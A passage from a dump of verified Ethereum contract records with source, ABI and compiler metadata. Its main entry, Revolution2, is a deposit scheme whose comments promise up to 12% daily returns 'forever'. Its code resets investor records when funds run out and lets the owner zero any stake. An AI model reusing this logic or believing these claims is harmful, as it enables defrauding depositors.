56","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WhitelistPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newWhitelistSalesPrice","type":"uint256"}],"name":"WhitelistPricebtn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"WhitelistedWallets","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"addWhitelistedWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseExtension","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isAddressWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPauseMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"isPauseModebtn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isWhitelistSales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"isWhitelistSalesbtn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.11+commit.d7f03943 | false | 200 | 000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5669645169524839766b583566324a7963654e4a7866356e43526263324b62584838476852355a513738334d2f000000000000000000000000000000000000000000000000000000000000000000000000000000000035697066733a2f2f516d5843415a3744744d686a6959445a5932696b317753474377694a57333159316b4c64784d4d643838527669570000000000000000000000 | Default | MIT | false | ipfs://80d3019502fa5d6c27b64af18fa64c565c3845ae14942e8b7fbd92f40b5317f7 |
||
Revolution2 | Revolution2.sol | 0xddfc21df6f2556528b21574695c7b33f22e60a70 | Solidity | pragma solidity 0.4.25;
/**
* Инновационный проект по распределению криптовалюты ETH с ежедневными выплатами до 12% в день!
* An innovative Blockchain Ethereum project with open source up to 12% per day!
* ежедневные выплаты, навечно. инновационная надежность. до 12% в день, до 360% в месяц.
* валюта вклада и выплаты — ETH, минимальный взнос — 0,01 ETH
* Daily payments forever. The innovative reliability. up to 12% per day, up to 360% per month.
* Currency and payment — ETH. Minimal contribution 0.01 eth
* https://www.eth777.io/
*/
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract Rev1Storage {
function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
}
contract Rev2Storage {
function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
}
library PrivateEntrance {
using PrivateEntrance for privateEntrance;
using Math for uint;
struct privateEntrance {
Rev1Storage rev1Storage;
Rev2Storage rev2Storage;
uint investorMaxInvestment;
uint endTimestamp;
mapping(address=>bool) hasAccess;
}
function isActive(privateEntrance storage pe) internal view returns(bool) {
return pe.endTimestamp > now;
}
function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
if (!pe.hasAccess[investorAddr]) {
return 0;
}
(uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
if (maxInvestment == 0) {
return 0;
}
maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
(uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
if (currInvestment >= maxInvestment) {
return 0;
}
return maxInvestment-currInvestment;
}
function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
for (uint16 i; i < addrs.length; i++) {
pe.hasAccess[addrs[i]] = true;
}
}
}
contract InvestorsStorage is Accessibility {
struct Investor {
uint investment;
uint paymentTime;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].investment > 0;
}
function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
investment = investors[addr].investment;
paymentTime = investors[addr].paymentTime;
}
function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
Investor storage inv = investors[addr];
if (inv.investment != 0 || investment == 0) {
return false;
}
inv.investment = investment;
inv.paymentTime = paymentTime;
size++;
return true;
}
function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].investment += investment;
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].investment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function disqalify(address addr) public onlyOwner returns (bool) {
if (isInvestor(addr)) {
investors[addr].investment = 0;
}
}
}
library RapidGrowthProtection {
using RapidGrowthProtection for rapidGrowthProtection;
struct rapidGrowthProtection {
uint startTimestamp;
uint maxDailyTotalInvestment;
uint8 activityDays;
mapping(uint8 => uint) dailyTotalInvestment;
}
function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return 0;
}
if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
return 0;
}
return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
}
function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
uint day = rgp.currDay();
return day != 0 && day <= rgp.activityDays;
}
function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
uint day = rgp.currDay();
if (day == 0 || day > rgp.activityDays) {
return false;
}
if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
return false;
}
rgp.dailyTotalInvestment[uint8(day)] += investment;
return true;
}
function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
rgp.startTimestamp = timestamp;
// restart
for (uint8 i = 1; i <= rgp.activityDays; i++) {
if (rgp.dailyTotalInvestment[i] != 0) {
delete rgp.dailyTotalInvestment[i];
}
}
}
function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
if (rgp.startTimestamp > now) {
return 0;
}
day = (now - rgp.startTimestamp) / 24 hours + 1;
}
}
contract Revolution2 is Accessibility {
using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
using PrivateEntrance for PrivateEntrance.privateEntrance;
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
// easy read for investors
using Address for *;
using Zero for *;
RapidGrowthProtection.rapidGrowthProtection private m_rgp;
PrivateEntrance.privateEntrance private m_privEnter;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
// automatically generates getters
uint public constant minInvesment = 10 finney;
uint public constant maxBalance = 333e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
// percents
Percent.percent private m_5_percent = Percent.percent(5,100); // 5/100 *100% = 5%
Percent.percent private m_6_percent = Percent.percent(6,100); // 6/100 *100% = 6%
Percent.percent private m_7_percent = Percent.percent(7,100); // 7/100 *100% = 7%
Percent.percent private m_8_percent = Percent.percent(8,100); // 8/100 *100% = 8%
Percent.percent private m_9_percent = Percent.percent(9,100); // 9/100 *100% = 9%
Percent.percent private m_10_percent = Percent.percent(10,100); // 10/100 *100% = 10%
Percent.percent private m_11_percent = Percent.percent(11,100); // 11/100 *100% = 11%
Percent.percent private m_12_percent = Percent.percent(12,100); // 12/100 *100% = 12%
Percent.percent private m_referal_percent = Percent.percent(5,100); // 5/100 *100% = 5%
Percent.percent private m_referrer_percent = Percent.percent(7,100); // 7/100 *100% = 7%
Percent.percent private m_referrer_percentMax = Percent.percent(10,100); // 10/100 *100% = 10%
Percent.percent private m_adminsPercent = Percent.percent(55, 1000); // 55/100 *100% = 5.5%
Percent.percent private m_advertisingPercent = Percent.percent(95, 1000);// 95/1000 *100% = 9.5%
// more events for easy read from blockchain
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
// investor get him dividends
if (msg.value.isZero()) {
getMyDividends();
return;
}
// sender do invest
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqalify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
// init Rapid Growth Protection
m_rgp.startTimestamp = timestamp + 1;
m_rgp.maxDailyTotalInvestment = 500 ether;
m_rgp.activityDays = 21;
emit LogRGPInit(
now,
m_rgp.startTimestamp,
m_rgp.maxDailyTotalInvestment,
m_rgp.activityDays
);
// init Private Entrance
m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
m_privEnter.investorMaxInvestment = 50 ether;
m_privEnter.endTimestamp = timestamp;
emit LogPEInit(
now,
address(m_privEnter.rev1Storage),
address(m_privEnter.rev2Storage),
m_privEnter.investorMaxInvestment,
m_privEnter.endTimestamp
);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
m_privEnter.provideAccessFor(addrs);
}
function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
investment = m_rgp.maxInvestmentAtNow();
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
(investment, paymentTime) = m_investors.investorInfo(investorAddr);
isReferral = m_referrals[investorAddr];
}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
Percent.percent memory p = dailyPercent();
(numerator, denominator) = (p.num, p.den);
}
function getMyDividends() public notFromContract balanceChanged {
// calculate dividends
//check if 1 day passed after last payment
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
// update investor payment timestamp
assert(m_investors.setPaymentTime(msg.sender, now));
// check enough eth - goto next wave if needed
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
// transfer dividends to investor
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvesment, "investment must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (m_rgp.isActive()) {
// use Rapid Growth Protection if needed
uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
rpgMaxInvest.requireNotZero();
investment = Math.min(investment, rpgMaxInvest);
assert(m_rgp.saveInvestment(investment));
emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
} else if (m_privEnter.isActive()) {
// use Private Entrance if needed
uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
peMaxInvest.requireNotZero();
investment = Math.min(investment, peMaxInvest);
}
// send excess of ether if needed
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
// commission
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
// ref system works only once and only on first invest
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
// add referral bonus to investor`s and referral`s investments
uint referrerBonus = m_referrer_percent.mmul(investment);
if (investment > 10 ether) {
referrerBonus = m_referrer_percentMax.mmul(investment);
}
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus)); // add referrer bonus
investment += referalBonus; // add referral bonus
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
// automatic reinvest - prevent burning dividends
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (senderIsInvestor) {
// update existing investor
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
// create new investor
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvesment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
// safe gas if dividends will be 0
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
// for prevent burning daily dividends if 24h did not pass - calculate it per 10 min interval
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 500 ether) {
p = m_5_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_6_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 5000 ether) {
p = m_7_percent.toMemory();
} else if ( 5000 ether <= balance && balance <= 10000 ether) {
p = m_8_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_9_percent.toMemory();
} else if ( 20000 ether <= balance && balance <= 30000 ether) {
p = m_10_percent.toMemory();
} else if ( 30000 ether <= balance && balance <= 50000 ether) {
p = m_11_percent.toMemory();
} else {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | [{"constant":false,"inputs":[{"name":"addrs","type":"address[]"}],"name":"privateEntranceProvideAccessFor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"disqualifyAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"advertisingAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"rev1StorageAddr","type":"address"},{"name":"timestamp","type":"uint256"}],"name":"init","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"minInvesment","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminsAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"investorsNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"investorDividendsAtNow","outputs":[{"name":"dividends","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rapidGrowthProtectionmMaxInvestmentAtNow","outputs":[{"name":"investment","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"advertisingPercent","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminsPercent","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setAdminsAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"investmentsNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"dailyPercentAtNow","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setAdvertisingAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getMyDividends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"referrerAddr","type":"address"}],"name":"doInvest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"investorInfo","outputs":[{"name":"investment","type":"uint256"},{"name":"paymentTime","type":"uint256"},{"name":"isReferral","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"waveStartup","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"balanceETH","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"doDisown","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"rev1Storage","type":"address"},{"indexed":false,"name":"rev2Storage","type":"address"},{"indexed":false,"name":"investorMaxInvestment","type":"uint256"},{"indexed":false,"name":"endTimestamp","type":"uint256"}],"name":"LogPEInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":false,"name":"excess","type":"uint256"}],"name":"LogSendExcessOfEther","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":true,"name":"referrerAddr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"refBonus","type":"uint256"}],"name":"LogNewReferral","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"startTimestamp","type":"uint256"},{"indexed":false,"name":"maxDailyTotalInvestment","type":"uint256"},{"indexed":false,"name":"activityDays","type":"uint256"}],"name":"LogRGPInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":true,"name":"day","type":"uint256"}],"name":"LogRGPInvestment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":false,"name":"value","type":"uint256"}],"name":"LogNewInvesment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"}],"name":"LogAutomaticReinvest","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"dividends","type":"uint256"}],"name":"LogPayDividends","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"}],"name":"LogNewInvestor","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"LogBalanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"}],"name":"LogNextWave","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"}],"name":"LogDisown","type":"event"}] | v0.4.25+commit.59dbf8f1 | true | 200 | Default | false | bzzr://57a9e76e4ee2bf43357d4249b42a1f3255a055e1720799fed66868940b54b260 |
||||
veDill | veDill.sol | 0x0daaeae945c28056e2cf47754d0de9a303e54cd4 | Solidity | pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
